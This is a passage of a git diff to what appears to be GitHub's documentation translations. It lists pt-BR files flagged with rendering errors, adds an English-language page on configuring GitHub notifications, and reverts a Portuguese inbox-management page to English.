+translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error +translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error +translations/pt-BR/content/graphql/guides/index.md,rendering error +translations/pt-BR/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error +translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error +translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error +translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489 +translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,parsing error +translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error +translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error +translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error +translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error +translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error +translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error +translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error +translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error +translations/pt-BR/content/organizations/organizing-members-into-teams/about-teams.md,rendering error +translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error +translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error +translations/pt-BR/content/packages/learn-github-packages/introduction-to-github-packages.md,rendering error +translations/pt-BR/content/packages/learn-github-packages/publishing-a-package.md,rendering error +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,rendering error +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,rendering error +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,rendering error +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,rendering error +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,Listed in localization-support#489 +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,rendering error +translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,rendering error +translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error +translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error +translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error +translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,rendering error +translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error +translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,rendering error +translations/pt-BR/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error +translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error +translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error +translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error +translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error +translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error +translations/pt-BR/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,parsing error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error +translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error +translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md,rendering error +translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md,rendering error +translations/pt-BR/content/rest/overview/api-previews.md,rendering error +translations/pt-BR/content/rest/reference/activity.md,rendering error +translations/pt-BR/content/rest/reference/enterprise-admin.md,Listed in localization-support#489 +translations/pt-BR/content/rest/reference/enterprise-admin.md,rendering error +translations/pt-BR/content/rest/reference/gists.md,Listed in localization-support#489 +translations/pt-BR/content/rest/reference/gists.md,rendering error +translations/pt-BR/content/rest/reference/permissions-required-for-github-apps.md,rendering error +translations/pt-BR/content/rest/reference/repos.md,Listed in localization-support#489 +translations/pt-BR/content/rest/reference/repos.md,rendering error +translations/pt-BR/content/rest/reference/search.md,rendering error +translations/pt-BR/content/rest/reference/secret-scanning.md,rendering error +translations/pt-BR/content/rest/reference/teams.md,rendering error +translations/pt-BR/content/search-github/searching-on-github/searching-commits.md,rendering error +translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md,rendering error +translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md,rendering error +translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error +translations/pt-BR/data/release-notes/enterprise-server/2-20/15.yml,Listed in localization-support#489 +translations/pt-BR/data/release-notes/enterprise-server/2-21/6.yml,Listed in localization-support#489 +translations/pt-BR/data/reusables/apps/deprecating_auth_with_query_parameters.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/enterprise_site_admin_settings/business.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/github-actions/self-hosted-runner-management-permissions-required.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/pages/decide-publishing-source.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/pull_requests/close-issues-using-keywords.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/pull_requests/pull_request_merges_and_contributions.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/repositories/security-alerts-x-github-severity.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/repositories/suggest-changes.md,Listed in localization-support#489 +translations/pt-BR/data/reusables/user_settings/about-commit-email-addresses.md,Listed in localization-support#489 diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md new file mode 100644 index 0000000000..0075ffaf32 --- /dev/null +++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -0,0 +1,266 @@ +--- +title: Configuring notifications +intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.' +redirect_from: + - /articles/about-web-notifications + - /format-of-notification-emails/ + - /articles/configuring-notification-emails/ + - /articles/about-notification-emails/ + - /articles/about-email-notifications + - /articles/accessing-your-notifications + - /articles/configuring-notification-delivery-methods/ + - /articles/managing-notification-delivery-methods/ + - /articles/managing-notification-emails-for-organizations/ + - /articles/choosing-the-delivery-method-for-your-notifications + - /articles/choosing-the-types-of-notifications-you-receive/ + - /github/managing-subscriptions-and-notifications-on-github/configuring-notifications + - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +--- +{% ifversion ghes %} +{% data reusables.mobile.ghes-release-phase %} +{% endif %} + +## Notification delivery options + +You can receive notifications for activity on {% data variables.product.product_location %} in the following locations. + + - The notifications inbox in the {% data variables.product.product_location %} web interface{% ifversion fpt or ghes or ghec %} + - The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox on {% data variables.product.product_location %}{% endif %} + - An email client that uses a verified email address, which can also sync with the notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} + +{% ifversion fpt or ghes or ghec %} +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Choosing your notification settings](#choosing-your-notification-settings)." +{% endif %} + +{% data reusables.notifications.shared_state %} + +### Benefits of the notifications inbox + +The notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to: + - Triage multiple notifications at once. + - Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query. + - Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query. + - Unsubscribe and remove a notification from your inbox. + - Preview the issue, pull request, or team discussion where the notification originates on {% data variables.product.product_location %} from within the notifications inbox. + - See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label. + - Create custom filters to focus on different notifications when you want. + - Group notifications in your inbox by repository or date to get a quick overview with less context switching + +{% ifversion fpt or ghes or ghec %} +In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see "[Managing your notification settings with GitHub for mobile](#managing-your-notification-settings-with-github-for-mobile)" or "[GitHub for mobile](/github/getting-started-with-github/github-for-mobile)." +{% endif %} + +### Benefits of using an email client for notifications + +One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)." + +Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels. + +Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see "[Customizing your email notifications](#customizing-your-email-notifications)." + +## About participating and watching notifications + +When you watch a repository, you're subscribing to updates for activity in that repository. Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." + +To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see "[Managing subscriptions and notifications on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." + +{% ifversion ghae or ghes < 3.1 %} +### Configuring notifications +{% endif %} +You can configure notifications for a repository on the repository page, or on your watching page.{% ifversion ghes < 3.1 %} You can choose to only receive notifications for releases in a repository, or ignore all notifications for a repository.{% endif %} + +{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} + +### About custom notifications +You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. +{% endif %} For more information, see "[Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository)" below. + +### Participating in conversations +Anytime you comment in a conversation or when someone @mentions your username, you are _participating_ in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox. + +For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %}. + +![Participating and watching notifications options](/assets/images/help/notifications-v2/participating-and-watching-options.png) + +For example: + - If you don't want notifications to be sent to your email, unselect **email** for participating and watching notifications. + - If you want to receive notifications by email when you've participated in a conversation, then you can select **email** under "Participating". + +If you do not enable watching or participating notifications for web{% ifversion fpt or ghes or ghec %} and mobile{% endif %}, then your notifications inbox will not have any updates. + +## Customizing your email notifications + +After enabling email notifications, {% data variables.product.product_location %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.product.product_location %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only. + +{% data reusables.notifications.outbound_email_tip %} + +{% data reusables.notifications.shared_state %} + +{% ifversion fpt or ghec %} + +If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification. + +![Buttons in Gmail](/assets/images/help/notifications/gmail-buttons.png) + +{% endif %} + +Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.product.product_location %} you want to receive updates for using your default email address. For example, choose whether you want updates to your default email from: + - Comments on issues and pull requests. + - Pull request reviews. + - Pull request pushes. + - Your own updates, such as when you open, comment on, or close an issue or pull request. + +Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see "[Choosing where your organization’s email notifications are sent](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)." + +You can also send notifications for a specific repository to an email address. For more information, see "[About email notifications for pushes to your repository](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)." + +{% data reusables.notifications-v2.email-notification-caveats %} + +## Filtering email notifications + +Each email notification that {% data variables.product.product_location %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications. + +If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user. + +Email notifications from {% data variables.product.product_location %} contain the following header information: + +| Header | Information | +| --- | --- | +| `From` address | This address will always be {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'the no-reply email address configured by your site administrator'{% endif %}. | +| `To` field | This field connects directly to the thread.{% ifversion not ghae %} If you reply to the email, you'll add a new comment to the conversation.{% endif %} | +| `Cc` address | {% data variables.product.product_name %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% data variables.notifications.cc_address %}. The possible notification reasons are:
                    • `assign`: You were assigned to an issue or pull request.
                    • `author`: You created an issue or pull request.
                    • `ci_activity`: A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.
                    • `comment`: You commented on an issue or pull request.
                    • `manual`: There was an update to an issue or pull request you manually subscribed to.
                    • `mention`: You were mentioned on an issue or pull request.
                    • `push`: Someone committed to a pull request you're subscribed to.
                    • `review_requested`: You or a team you're a member of was requested to review a pull request.
                      • {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
                    • `security_alert`: {% data variables.product.prodname_dotcom %} detected a vulnerability in a repository you receive alerts for.
                      • {% endif %}
                    • `state_change`: An issue or pull request you're subscribed to was either closed or opened.
                    • `subscribed`: There was an update in a repository you're watching.
                    • `team_mention`: A team you belong to was mentioned on an issue or pull request.
                    • `your_activity`: You opened, commented on, or closed an issue or pull request.
                    | +| `mailing list` field | This field identifies the name of the repository and its owner. The format of this address is always `..{% data variables.command_line.backticks %}`. |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:
                    • `low`
                    • `moderate`
                    • `high`
                    • `critical`
                    For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." |{% endif %} + +## Choosing your notification settings + +{% data reusables.notifications.access_notifications %} +{% data reusables.notifications-v2.manage-notifications %} +3. On the notifications settings page, choose how you receive notifications when: + - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)." + - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)."{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} + - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)." {% endif %} {% ifversion fpt or ghec %} + - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} + - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %} + +## Automatic watching + +By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options. + + ![Automatic watching options](/assets/images/help/notifications-v2/automatic-watching-options.png) + +If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. + +## Configuring your watch settings for an individual repository + +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) {% else %}new releases{% endif %}, or completely ignore an individual repository. + +{% data reusables.repositories.navigate-to-repo %} +2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option. +{% ifversion fpt or ghes > 3.0 or ghae-issue-4910 or ghec %} + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom.png) + + The **Custom** option allows you to further customize notifications so that you're only notified when specific events happen in the repository, in addition to participating and @mentions. +{% else %} + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options.png){% endif %} +{% ifversion fpt or ghes > 3.0 or ghae-issue-4910 or ghec %} + ![Custom watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) + If you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues. +{% endif %} + +## Choosing where your organization’s email notifications are sent + +If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address. + +{% data reusables.notifications-v2.email-notification-caveats %} + +{% data reusables.notifications.access_notifications %} +{% data reusables.notifications-v2.manage-notifications %} +3. Under "Default notification email", select the email address you'd like notifications sent to. +![Default notification email address drop-down](/assets/images/help/notifications/notifications_primary_email_for_orgs.png) +4. Click **Save**. + +### Customizing email routes per organization + +If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} + +{% data reusables.notifications.access_notifications %} +{% data reusables.notifications-v2.manage-notifications %} +3. Under "Custom routing," find your organization's name in the list. +![List of organizations and email addresses](/assets/images/help/notifications/notifications_org_emails.png) +4. Click **Edit** next to the email address you want to change. +![Editing an organization's email addresses](/assets/images/help/notifications/notifications_edit_org_emails.png) +5. Select one of your verified email addresses, then click **Save**. +![Switching your per-org email address](/assets/images/help/notifications/notifications_switching_org_email.gif) + +{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +## {% data variables.product.prodname_dependabot_alerts %} notification options + +{% data reusables.notifications.vulnerable-dependency-notification-enable %} +{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} +{% data reusables.notifications.vulnerable-dependency-notification-options %} + +For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## {% data variables.product.prodname_actions %} notification options + +Choose how you want to receive workflow run updates for repositories that you are watching that are set up with {% data variables.product.prodname_actions %}. You can also choose to only receive notifications for failed workflow runs. + + ![Notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png) + +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} +## Organization alerts notification options + +If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. + +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## Managing your notification settings with {% data variables.product.prodname_mobile %} + +When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events. +- Direct mentions +- Assignments to issues or pull requests +- Requests to review a pull request +- Requests to approve a deployment + +You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device. + +{% data reusables.mobile.push-notifications-on-ghes %} + +### Managing your notification settings with {% data variables.product.prodname_ios %} + +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. + +### Managing your notification settings with {% data variables.product.prodname_android %} + +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. + +## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} + +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository. + +1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository. +2. Tap **Watch**. + ![The watch button on {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png) +3. To choose what activities you receive notifications for, tap your preferred watch settings. + ![Watch settings dropdown menu in {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png) + +{% endif %} diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md index 246f764a0b..0b8710d460 100644 --- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md +++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md @@ -1,6 +1,6 @@ --- -title: Gerenciamento de notificações da sua caixa de entrada -intro: 'Utilize sua caixa de entrada para rapidamente fazer triagem e sincronizar suas notificações do e-mail{% ifversion fpt or ghes or ghec %} e o aparelho móvel{% endif %}.' +title: Managing notifications from your inbox +intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.' redirect_from: - /articles/marking-notifications-as-read - /articles/saving-notifications-for-later @@ -13,103 +13,102 @@ versions: ghec: '*' topics: - Notifications -shortTitle: Gerenciar a partir de sua caixa de entrada +shortTitle: Manage from your inbox --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## Sobre sua caixa de entrada +## About your inbox {% ifversion fpt or ghes or ghec %} -{% data reusables.notifications-v2.notifications-inbox-required-setting %} Para obter mais informações, consulte "[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)". +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% endif %} -Para acessar sua caixa de entrada de notificações, no canto superior direito de qualquer página, clique em {% octicon "bell" aria-label="The notifications bell" %}. +To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}. - ![Notificação indicando qualquer mensagem não lida](/assets/images/help/notifications/notifications_general_existence_indicator.png) + ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png) -Sua caixa de entrada mostra todas as notificações que você não cancelou sua inscrição ou marcou como **Concluído.** Você pode personalizar sua caixa de entrada para melhor se adequar ao seu fluxo de trabalho usando filtros, visualizando todas ou apenas notificações não lidas e agrupando suas notificações para obter uma visão geral. +Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview. - ![visualização da caixa de entrada](/assets/images/help/notifications-v2/inbox-view.png) + ![inbox view](/assets/images/help/notifications-v2/inbox-view.png) -Por padrão, sua caixa de entrada mostrará notificações lidas e não lidas. Para ver apenas notificações não lidas, clique em **Não lidas** ou use a consulta `is:unread`. +By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query. - ![visualização da caixa de entrada não lida](/assets/images/help/notifications-v2/unread-inbox-view.png) + ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png) -## Opções de triagem +## Triaging options -Você tem várias opções para fazer triagem de notificações a partir de sua caixa de entrada. +You have several options for triaging notifications from your inbox. -| Opções de triagem | Descrição | -| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Salvar | Salva a sua notificação para revisão posterior. Para salvar uma notificação, à direita da notificação, clique em {% octicon "bookmark" aria-label="The bookmark icon" %}.

                    As notificações salvas são mantidas indefinidamente e podem ser vistas clicando em **Salvo** na barra lateral ou com a consulta `is:saved`. Se sua notificação salva tiver mais de 5 meses e tornar-se não salva, a notificação desaparecerá da sua caixa de entrada em um dia. | -| Concluído | Marca uma notificação como concluída e remove a notificação da sua caixa de entrada. Você pode ver todas as notificações concluídas clicando em **Concluido** na barra lateral ou com a consulta `is:done`. Notificações marcadas como **Concluídas** são salvas por 5 meses. | -| Cancelar assinatura | Remove automaticamente a notificação de sua caixa de entrada e cancela sua assinatura da conversa até que você seja @mencionado, uma equipe na qual você esteja seja @mencionada, ou você seja solicitado para revisão. | -| Leitura | Marca uma notificação como lida. Para ver apenas as notificações lidas na sua caixa de entrada, use a consulta `is:read`. Esta consulta não inclui notificações marcadas como **Concluído**. | -| Não lido | Marca uma notificação como não lida. Para ver apenas as notificações não lidas na sua caixa de entrada, use a consulta `is:read`. | +| Triaging option | Description | +|-----------------|-------------| +| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}.

